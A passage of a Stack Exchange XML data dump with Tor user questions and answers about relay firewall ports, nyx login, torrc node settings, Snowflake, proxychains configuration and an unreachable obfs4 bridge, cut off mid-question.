  <row Id="23534" PostTypeId="2" ParentId="23532" CreationDate="2023-02-03T01:13:32.987" Score="1" Body="&lt;p&gt;Tor Browser uses NoScript for this. Rather than disabling it in the browser settings, NoScript controls it.&lt;/p&gt;&#xA;&lt;p&gt;For example, safer mode relies on a program to only block Javascript on HTTP (websites). How could you automate this with browser settings? Switching it on and off constantly is a pain to code, and i'm not even sure if changing &lt;code&gt;about:config&lt;/code&gt; would even work on the fly.&lt;/p&gt;&#xA;&lt;p&gt;So instead, NoScript is used. My previous paragraph is simply an educated guess as to why NoScript is used. It's common practice to use other tools by developers to make things easier. I'd recommend you don't tamper by trying to change or delete NoScript. It could make things more finger printable. Remember that what you block simply gets dummy information. It doesn't stop it from finding that only one browser in the world sends the exact dummy information. Tor tries to make all of the browsers send the same dummy, but changing that is a recipe for disaster.&lt;/p&gt;&#xA;" OwnerDisplayName="user37855" LastActivityDate="2023-02-03T01:13:32.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23535" PostTypeId="1" CreationDate="2023-02-03T16:07:37.730" Score="0" ViewCount="116" Body="&lt;p&gt;Some apps (which have a built-in Tor daemon) will not work on TAILS or Whonix (ie systems that force all their traffic though the Tor network) because this creates a Tor-over-Tor connection. Why?&lt;/p&gt;&#xA;&lt;p&gt;Examples of such apps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionShare&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://featherwallet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Feather Wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I understand that OnionShare works by creating an Onion Service, which is more complicated than apps that just connect as a client to Tor (eg Tor Browser).&lt;/p&gt;&#xA;&lt;p&gt;And I also understand that running Tor-over-Tor is not advised. Sure, it will have performance (and privacy?) degradation. I understand that. But I'd expect that these apps would just run slightly slower. The reality is they completely break. Why?&lt;/p&gt;&#xA;&lt;p&gt;Please explain [a] &amp;quot;like I'm 5&amp;quot; and also explain [b] &amp;quot;like I'm a Tor developer&amp;quot; why some apps with built-in Tor daemons fail to run on a system that forces all its traffic through Tor.&lt;/p&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2023-02-07T03:26:47.357" Title="Why do some apps break with Tor over Tor (Whonix, TAILS)?" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23536" PostTypeId="2" ParentId="20691" CreationDate="2023-02-06T12:39:29.037" Score="0" Body="&lt;p&gt;&amp;quot;... I want to turn it off and make my borders what I want them by sizing the window myself.&amp;quot;&#xA;---------  which is PRECISELY the sort of thing that makes indivuduals noticable, trackable, and personally identifiable&#xA;---- &amp;quot;duh&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="38005" LastActivityDate="2023-02-06T12:39:29.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23537" PostTypeId="1" CreationDate="2023-02-07T00:36:56.410" Score="0" ViewCount="207" Body="&lt;p&gt;I have just installed tor middle relay using &lt;a href=&quot;https://youtu.be/npg3cBJusnA&quot; rel=&quot;nofollow noreferrer&quot;&gt;this youtube&lt;/a&gt; guide.&lt;br /&gt;&#xA;I did everything up until the &lt;a href=&quot;https://youtu.be/npg3cBJusnA?t=717&quot; rel=&quot;nofollow noreferrer&quot;&gt;12th minute&lt;/a&gt; of this video.&lt;br /&gt;&#xA;I have tor installed on a vps server I run from Vultr.&lt;br /&gt;&#xA;Then I have installed this tor monitor tool called &lt;code&gt;nyx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;My intention is to run a middle relay with it, to help tor network.&lt;br /&gt;&#xA;I think everything is working fine but I don't know, which ports should I open on my UFW firewall?&lt;br /&gt;&#xA;I've opened 9001, because I feel it's obvious it needs to be allowed.&lt;/p&gt;&#xA;&lt;p&gt;This is my current UWF setup:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo ufw status verbose&#xA;[sudo] password for &amp;lt;my_login&amp;gt;:&#xA;Status: active&#xA;Logging: on (low)&#xA;Default: deny (incoming), allow (outgoing), disabled (routed)&#xA;New profiles: skip&#xA;&#xA;To                         Action      From&#xA;--                         ------      ----&#xA;22/tcp                     DENY IN     Anywhere&#xA;27119/tcp                  ALLOW IN    Anywhere&#xA;19302/tcp                  DENY IN     Anywhere&#xA;9001/tcp                   ALLOW IN    Anywhere&#xA;22/tcp (v6)                DENY IN     Anywhere (v6)&#xA;19302/tcp (v6)             DENY IN     Anywhere (v6)&#xA;9001/tcp (v6)              ALLOW IN    Anywhere (v6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I cannot log into &lt;code&gt;nyx&lt;/code&gt;, and I feel I did everything as shown in the YouTube video.&#xA;But when I try 2 log into &lt;code&gt;nyx&lt;/code&gt; and when I paste password using right mouse click (I'm using PowerShell to log into my vps) I get &amp;quot;incorrect password&amp;quot; output.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;my_login&amp;gt;@debian:~$ nyx&#xA;Tor controller password:&#xA;Incorrect password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I got the password from this site:&#xA;&lt;a href=&quot;https://www.lastpass.com/features/password-generator#generatorTool&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.lastpass.com/features/password-generator#generatorTool&lt;/a&gt;&lt;br /&gt;&#xA;then I hashed it, the same way, that is shown on the video.&lt;/p&gt;&#xA;&lt;p&gt;It's my first attempt to configuring tor middle relay.&lt;br /&gt;&#xA;I could use some help.&lt;br /&gt;&#xA;Should I also allow in my 9051/tcp port?? The default Control Port.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;HashedControlPassword 16:my_password's_hash&#xA;#CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the difference between &lt;code&gt;tor.service&lt;/code&gt; and &lt;code&gt;tor@default.service&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;my_login&amp;gt;@debian:~$ sudo systemctl status tor&#xA;[sudo] password for &amp;lt;my_login&amp;gt;:&#xA;● tor.service - Anonymizing overlay network for TCP (multi-instance-master)&#xA;     Loaded: loaded (/lib/systemd/system/tor.service; enabled; vendor preset: enabled)&#xA;     Active: active (exited) since Mon 2023-02-06 23:33:50 UTC; 1h 3min ago&#xA;    Process: 757 ExecStart=/bin/true (code=exited, status=0/SUCCESS)&#xA;   Main PID: 757 (code=exited, status=0/SUCCESS)&#xA;        CPU: 715us&#xA;&#xA;Feb 06 23:33:50 debian systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...&#xA;Feb 06 23:33:50 debian systemd[1]: Finished Anonymizing overlay network for TCP (multi-instance-master).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33845" LastEditorUserId="33845" LastEditDate="2023-11-21T13:52:15.003" LastActivityDate="2023-11-26T11:58:43.280" Title="What ports do I need to open on my UFW firewall? I cannot log into nyx. Do I need to also open my 9051/tcp port?" Tags="|configuration|relays|nyx|firewall|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23538" PostTypeId="2" ParentId="23535" CreationDate="2023-02-07T03:26:47.357" Score="1" Body="&lt;p&gt;Relays on the Tor network do not allow Tor-over-Tor. This is to avoid circuit amplification attacks on the network. I would guess that this is designed to prevent malicious clients from wasting a lot of the network's bandwidth by having traffic loop through the network many times before exiting.&lt;/p&gt;&#xA;&lt;p&gt;You can read some discussion on the tickets:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/2667&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Exits should block reentry into the tor network&amp;quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/40271&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Clients should predict that their stream will be refused for trying to reenter, and decline to try&amp;quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-02-07T03:26:47.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23540" PostTypeId="1" AcceptedAnswerId="23546" CreationDate="2023-02-08T09:41:49.990" Score="0" ViewCount="95" Body="&lt;p&gt;Snowflake is an extension that enhances the Tor service.&lt;/p&gt;&#xA;&lt;p&gt;Does Snowflake provide entry or exit points for Tor users?&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2023-02-12T18:27:32.050" LastActivityDate="2023-02-12T19:16:32.670" Title="Does Snowflake provide an entry or exit point for Tor users?" Tags="|torcheck|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23541" PostTypeId="2" ParentId="23522" CreationDate="2023-02-09T15:24:27.830" Score="0" Body="&lt;p&gt;You can configure your .torrc file on follow way:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;do a initial start of your Tor browser&lt;/li&gt;&#xA;&lt;li&gt;exit your Tor browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now you can add thinks like the follow on your .torrc file (before you start you Tor browser (that need to be configured before every start of Tor Browser. That means, the file will be overwritten by Tor:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {GB}, {FR}, {IT} StrictNodes 1&#xA;&#xA;ExcludeNodes {??} StrictNodes 1 # the ?? will exclude some not clear define or bad stuff&#xA;&#xA;ExitNodes {US} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-09T15:24:27.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23542" PostTypeId="1" CreationDate="2023-02-10T16:10:15.650" Score="0" ViewCount="39" Body="&lt;pre&gt;&lt;code&gt;whonix-installer-xfce: [NOTICE]: User agreed with the license.&#xA;whonix-installer-xfce: [NOTICE]: Detected system: Linux Mint 21 vanessa.&#xA;whonix-installer-xfce: [NOTICE]: Detected CPU architecture: x86_64.&#xA;whonix-installer-xfce: [ERROR]: Error detected. Installer aborted.&#xA;whonix-installer-xfce: [ERROR]: No panic. Nothing is broken. Just some rare condition has been hit.&#xA;whonix-installer-xfce: [ERROR]: There is likely a solution for this problem.&#xA;whonix-installer-xfce: [ERROR]: Try again. If this issue is transient (not happening again) it can be safely ignored.&#xA;whonix-installer-xfce: [ERROR]: Please see Whonix News and Whonix User Help Forum.&#xA;whonix-installer-xfce: [ERROR]: If not already reported, please report this bug!&#xA;whonix-installer-xfce: [ERROR]: Error ocurred in line: 1094.&#xA;whonix-installer-xfce: [ERROR]: Please include the user log and the debug log in your bug report.&#xA;whonix-installer-xfce: [ERROR]: (For file locations where to find these logs, see above.)&#xA;whonix-installer-xfce: [ERROR]: Exit code: 2.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38026" LastEditorUserId="24966" LastEditDate="2023-02-10T16:56:13.273" LastActivityDate="2023-02-10T16:56:13.273" Title="Linux Mint 21 vanessa Error ocurred in line: 1094" Tags="|linux|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23543" PostTypeId="1" CreationDate="2023-02-11T00:56:43.370" Score="0" ViewCount="772" Body="&lt;p&gt;I am using Kali Linux, and have installed tor service via &lt;code&gt;apt-get&lt;/code&gt;.&#xA;After executing &lt;code&gt;sudo systemctl start tor&lt;/code&gt;, but &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; says I am not using tor.&#xA;Here is some information I found when i tried to debug this issue:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the status of tor is: active (exited)&lt;/li&gt;&#xA;&lt;li&gt;the log of tor@default is:&#xA;&lt;pre&gt;&lt;code&gt;Feb 10 19:45:31 kali Tor[625324]: We compiled with OpenSSL 30000070: OpenSSL 3.0.7 1 Nov 2022 and we are running with OpenSSL 30000070: 3.0.7. These two versions should be binary&amp;gt;&#xA;Feb 10 19:45:31 kali Tor[625324]: Tor 0.4.7.11 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.7, Zlib 1.2.11, Liblzma 5.2.7, Libzstd 1.5.2 and Glibc 2.36 as libc.&#xA;Feb 10 19:45:31 kali Tor[625324]: Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;Feb 10 19:45:31 kali Tor[625324]: Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;Feb 10 19:45:31 kali Tor[625324]: Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Feb 10 19:45:31 kali Tor[625324]: Opening Socks listener on 127.0.0.1:9050&#xA;Feb 10 19:45:31 kali Tor[625324]: Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;Feb 10 19:45:31 kali Tor[625324]: Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Feb 10 19:45:31 kali Tor[625324]: Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Feb 10 19:45:31 kali Tor[625324]: Unhandled OpenSSL errors found at ../src/lib/tls/tortls.c:190:&#xA;Feb 10 19:45:31 kali Tor[625324]: TLS error: (null) (in system library:(null):---)&#xA;Feb 10 19:45:31 kali Tor[625324]: TLS error: system lib (in BIO routines:(null):---)&#xA;Feb 10 19:45:31 kali Tor[625324]: TLS error: provider section error (in common libcrypto routines:(null):---)&#xA;Feb 10 19:45:31 kali Tor[625324]: TLS error: module initialization error (in configuration file routines:(null):---)&#xA;Feb 10 19:45:31 kali Tor[625324]: Bootstrapped 0% (starting): Starting&#xA;Feb 10 19:45:32 kali Tor[625324]: Starting with guard context &amp;quot;default&amp;quot;&#xA;Feb 10 19:45:32 kali Tor[625324]: Signaled readiness to systemd&#xA;Feb 10 19:45:32 kali systemd[1]: Started Anonymizing overlay network for TCP.&#xA;Feb 10 19:45:33 kali Tor[625324]: Bootstrapped 5% (conn): Connecting to a relay&#xA;Feb 10 19:45:33 kali Tor[625324]: Opening Socks listener on /run/tor/socks&#xA;Feb 10 19:45:33 kali Tor[625324]: Opened Socks listener connection (ready) on /run/tor/socks&#xA;Feb 10 19:45:33 kali Tor[625324]: Opening Control listener on /run/tor/control&#xA;Feb 10 19:45:33 kali Tor[625324]: Opened Control listener connection (ready) on /run/tor/control&#xA;Feb 10 19:45:33 kali Tor[625324]: Bootstrapped 10% (conn_done): Connected to a relay&#xA;Feb 10 19:45:33 kali Tor[625324]: Bootstrapped 14% (handshake): Handshaking with a relay&#xA;Feb 10 19:45:34 kali Tor[625324]: Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;Feb 10 19:45:34 kali Tor[625324]: Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;Feb 10 19:45:34 kali Tor[625324]: Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;Feb 10 19:45:34 kali Tor[625324]: Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;Feb 10 19:45:36 kali Tor[625324]: Bootstrapped 100% (done): Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I am not sure why I have an issue with TLS. Here is my configuration file (&lt;code&gt;proxychains4.conf&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# proxychains.conf  VER 4.x&#xA;#&#xA;#        HTTP, SOCKS4a, SOCKS5 tunneling proxifier with DNS.&#xA;&#xA;&#xA;# The option below identifies how the ProxyList is treated.&#xA;# only one option should be uncommented at time,&#xA;# otherwise the last appearing option will be accepted&#xA;#&#xA;dynamic_chain&#xA;#&#xA;# Dynamic - Each connection will be done via chained proxies&#xA;# all proxies chained in the order as they appear in the list&#xA;# at least one proxy must be online to play in chain&#xA;# (dead proxies are skipped)&#xA;# otherwise EINTR is returned to the app&#xA;#&#xA;#strict_chain&#xA;#&#xA;# Strict - Each connection will be done via chained proxies&#xA;# all proxies chained in the order as they appear in the list&#xA;# all proxies must be online to play in chain&#xA;# otherwise EINTR is returned to the app&#xA;#&#xA;#round_robin_chain&#xA;#&#xA;# Round Robin - Each connection will be done via chained proxies&#xA;# of chain_len length&#xA;# all proxies chained in the order as they appear in the list&#xA;# at least one proxy must be online to play in chain&#xA;# (dead proxies are skipped).&#xA;# the start of the current proxy chain is the proxy after the last&#xA;# proxy in the previously invoked proxy chain.&#xA;# if the end of the proxy chain is reached while looking for proxies&#xA;# start at the beginning again.&#xA;# otherwise EINTR is returned to the app&#xA;# These semantics are not guaranteed in a multithreaded environment.&#xA;#&#xA;#random_chain&#xA;#&#xA;# Random - Each connection will be done via random proxy&#xA;# (or proxy chain, see  chain_len) from the list.&#xA;# this option is good to test your IDS :)&#xA;&#xA;# Make sense only if random_chain or round_robin_chain&#xA;#chain_len = 2&#xA;&#xA;# Quiet mode (no output from library)&#xA;#quiet_mode&#xA;&#xA;## Proxy DNS requests - no leak for DNS data&#xA;# (disable all of the 3 items below to not proxy your DNS requests)&#xA;&#xA;# method 1. this uses the proxychains4 style method to do remote dns:&#xA;# a thread is spawned that serves DNS requests and hands down an ip&#xA;# assigned from an internal list (via remote_dns_subnet).&#xA;# this is the easiest (setup-wise) and fastest method, however on&#xA;# systems with buggy libcs and very complex software like webbrowsers&#xA;# this might not work and/or cause crashes.&#xA;proxy_dns&#xA;&#xA;# method 2. use the old proxyresolv script to proxy DNS requests&#xA;# in proxychains 3.1 style. requires `proxyresolv` in $PATH&#xA;# plus a dynamically linked `dig` binary.&#xA;# this is a lot slower than `proxy_dns`, doesn't support .onion URLs,&#xA;# but might be more compatible with complex software like webbrowsers.&#xA;#proxy_dns_old&#xA;&#xA;# method 3. use proxychains4-daemon process to serve remote DNS requests.&#xA;# this is similar to the threaded `proxy_dns` method, however it requires&#xA;# that proxychains4-daemon is already running on the specified address.&#xA;# on the plus side it doesn't do malloc/threads so it should be quite&#xA;# compatible with complex, async-unsafe software.&#xA;# note that if you don't start proxychains4-daemon before using this,&#xA;# the process will simply hang.&#xA;#proxy_dns_daemon 127.0.0.1:1053&#xA;&#xA;# set the class A subnet number to use for the internal remote DNS mapping&#xA;# we use the reserved 224.x.x.x range by default,&#xA;# if the proxified app does a DNS request, we will return an IP from that range.&#xA;# on further accesses to this ip we will send the saved DNS name to the proxy.&#xA;# in case some control-freak app checks the returned ip, and denies to &#xA;# connect, you can use another subnet, e.g. 10.x.x.x or 127.x.x.x.&#xA;# of course you should make sure that the proxified app does not need&#xA;# *real* access to this subnet. &#xA;# i.e. dont use the same subnet then in the localnet section&#xA;#remote_dns_subnet 127 &#xA;#remote_dns_subnet 10&#xA;remote_dns_subnet 224&#xA;&#xA;# Some timeouts in milliseconds&#xA;tcp_read_time_out 15000&#xA;tcp_connect_time_out 8000&#xA;&#xA;### Examples for localnet exclusion&#xA;## localnet ranges will *not* use a proxy to connect.&#xA;## note that localnet works only when plain IP addresses are passed to the app,&#xA;## the hostname resolves via /etc/hosts, or proxy_dns is disabled or proxy_dns_old used.&#xA;&#xA;## Exclude connections to 192.168.1.0/24 with port 80&#xA;# localnet 192.168.1.0:80/255.255.255.0&#xA;&#xA;## Exclude connections to 192.168.100.0/24&#xA;# localnet 192.168.100.0/255.255.255.0&#xA;&#xA;## Exclude connections to ANYwhere with port 80&#xA;# localnet 0.0.0.0:80/0.0.0.0&#xA;# localnet [::]:80/0&#xA;&#xA;## RFC6890 Loopback address range&#xA;## if you enable this, you have to make sure remote_dns_subnet is not 127&#xA;## you'll need to enable it if you want to use an application that &#xA;## connects to localhost.&#xA;# localnet 127.0.0.0/255.0.0.0&#xA;# localnet ::1/128&#xA;&#xA;## RFC1918 Private Address Ranges&#xA;# localnet 10.0.0.0/255.0.0.0&#xA;# localnet 172.16.0.0/255.240.0.0&#xA;# localnet 192.168.0.0/255.255.0.0&#xA;&#xA;### Examples for dnat&#xA;## Trying to proxy connections to destinations which are dnatted,&#xA;## will result in proxying connections to the new given destinations.&#xA;## Whenever I connect to 1.1.1.1 on port 1234 actually connect to 1.1.1.2 on port 443&#xA;# dnat 1.1.1.1:1234  1.1.1.2:443&#xA;&#xA;## Whenever I connect to 1.1.1.1 on port 443 actually connect to 1.1.1.2 on port 443&#xA;## (no need to write :443 again)&#xA;# dnat 1.1.1.2:443  1.1.1.2&#xA;&#xA;## No matter what port I connect to on 1.1.1.1 port actually connect to 1.1.1.2 on port 443&#xA;# dnat 1.1.1.1  1.1.1.2:443&#xA;&#xA;## Always, instead of connecting to 1.1.1.1, connect to 1.1.1.2&#xA;# dnat 1.1.1.1  1.1.1.2&#xA;&#xA;# ProxyList format&#xA;#       type  ip  port [user pass]&#xA;#       (values separated by 'tab' or 'blank')&#xA;#&#xA;#       only numeric ipv4 addresses are valid&#xA;#&#xA;#&#xA;#        Examples:&#xA;#&#xA;#               socks5  192.168.67.78   1080    lamer   secret&#xA;#               http    192.168.89.3    8080    justu   hidden&#xA;#               socks4  192.168.1.49    1080&#xA;#               http    192.168.39.93   8080    &#xA;#               &#xA;#&#xA;#       proxy types: http, socks4, socks5, raw&#xA;#         * raw: The traffic is simply forwarded to the proxy without modification.&#xA;#        ( auth types supported: &amp;quot;basic&amp;quot;-http  &amp;quot;user/pass&amp;quot;-socks )&#xA;#&#xA;[ProxyList]&#xA;# add proxy here ...&#xA;# meanwile&#xA;# defaults set to &amp;quot;tor&amp;quot;&#xA;socks4 127.0.0.1 9050&#xA;socks5 127.0.0.1 9050 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38030" LastEditorUserId="14924" LastEditDate="2023-05-05T11:55:13.523" LastActivityDate="2023-05-05T11:55:13.523" Title="I am having trouble with starting tor service" Tags="|linux|tor-install|kali-linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23545" PostTypeId="1" AcceptedAnswerId="23577" CreationDate="2023-02-12T18:35:46.377" Score="0" ViewCount="101" Body="&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20230212183314/https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/wikis/Technical%20Overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snowflake&lt;/a&gt; is a known project, which adds some entry points to the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Are there also projects, that add additional exit points to the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="23661" LastEditDate="2023-02-13T11:45:21.813" LastActivityDate="2023-02-23T01:19:15.650" Title="Are there any projects which add additional exit points to the Tor browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23546" PostTypeId="2" ParentId="23540" CreationDate="2023-02-12T19:16:32.670" Score="1" Body="&lt;p&gt;Snowflake offers entry points to the network.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;The snowflake client and snowflake proxy may also be referred to as snowflake peers.&#xA;In Snowflake, WebRTC occurs only between the snowflake peers: some snowflake client and some snowflake in-browser proxy, as WebRTC serves as the transport crossing the filter boundary. Communication from the proxy to the destination is currently via websocket. Communication to the Broker is over HTTPS / Domain Fronting.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/wikis/Technical%20Overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/wikis/Technical%20Overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-12T19:16:32.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23547" PostTypeId="2" ParentId="23518" CreationDate="2023-02-12T20:35:45.677" Score="1" Body="&lt;p&gt;A compromised system cannot be trusted overall.&lt;/p&gt;&#xA;&lt;p&gt;A factory reset of the mobile phone can possibly improve the situation somewhat.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-12T20:35:45.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23548" PostTypeId="2" ParentId="23469" CreationDate="2023-02-12T20:46:08.193" Score="0" Body="&lt;p&gt;You have to modify your .torrc file before every start of Tor browser, because, the file will read, but overwritten by starting Tor browser.&lt;/p&gt;&#xA;&lt;p&gt;Set the file to read only, will prevent the Tor browser to work.&lt;/p&gt;&#xA;&lt;p&gt;So you have to edit the .torrc file before every start of Tor or you overwrite the existing .torrc file before every Tor start, by one prepared one.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-12T20:46:08.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23549" PostTypeId="2" ParentId="23449" CreationDate="2023-02-12T20:56:42.717" Score="0" Body="&lt;p&gt;Check the Torify project. This support to route all traffic of a PC through Tor?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://apple.stackexchange.com/questions/440792/how-do-i-install-torify-on-an-m1-mac&quot;&gt;https://apple.stackexchange.com/questions/440792/how-do-i-install-torify-on-an-m1-mac&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-12T20:56:42.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23550" PostTypeId="1" CreationDate="2023-02-12T21:48:47.363" Score="0" ViewCount="1469" Body="&lt;p&gt;I configured a TOR bridge on my Ubuntu 20.04 VPS:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Nickname Bridge9812&#xA;ContactInfo relay@suxertpserv.net&#xA;BridgeRelay 1&#xA;PublishServerDescriptor 0&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy -enableLogging -unsafeLogging -logLevel DEBUG&#xA;ServerTransportListenAddr obfs4 0.0.0.0:37198&#xA;ExtORPort auto&#xA;Log notice file /var/log/tor/notices.log&#xA;Log debug file /var/log/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I took the Bridge peer address from &lt;code&gt;/var/lib/tor/pt_state/obfs4_bridgeline.txt&lt;/code&gt; and fingerprint from &lt;code&gt;/var/lib/tor/fingerprint&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;obfs4 75.34.243.100:443 B99D5FB2E1D669FA356A1A69A9C07CA6B6865FCE cert=s0G3BkvOB2L0g76aSJs1sMt3TMeH18Hmb/hX85ujtJJJAystAD5hdK3e4a9HbE3GGMlvEA iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, from my browser the bridge is not reachable, the logs say:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2023-02-12 21:29:35.595 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2023-02-12 21:29:35.595 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2023-02-12 21:29:35.601 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2023-02-12 21:29:43.628 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2023-02-12 21:29:43.629 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2023-02-12 21:29:44.554 [NOTICE] Bootstrapped 1% (conn_pt): Connecting to pluggable transport&#xA;2023-02-12 21:29:44.555 [NOTICE] Bootstrapped 2% (conn_done_pt): Connected to pluggable transport&#xA;2023-02-12 21:29:44.625 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 75.34.243.100:443 ID=&amp;lt;none&amp;gt; RSA_ID=B99D5FB2E1D669FA356A1A69A9C07CA6B6865FCE (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;2023-02-12 21:29:45.744 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 75.34.243.100:443 ID=&amp;lt;none&amp;gt; RSA_ID=B99D5FB2E1D669FA356A1A69A9C07CA6B6865FCE (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;2023-02-12 21:29:47.627 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 75.34.243.100:443 ID=&amp;lt;none&amp;gt; RSA_ID=B99D5FB2E1D669FA356A1A69A9C07CA6B6865FCE (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't see any messages in &lt;code&gt;/var/lib/tor/pt_state/obfs4proxy.log&lt;/code&gt;, &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt;, or &lt;code&gt;/var/log/tor/debug.lo&lt;/code&gt;g.&lt;/p&gt;&#xA;&lt;p&gt;The bridge is accessible via telnet 75.34.243.100 443 from my laptop where I have the TOR browser installed. The TOR relay check tool says it is reachable. How can I troubleshoot that handshaking proxy 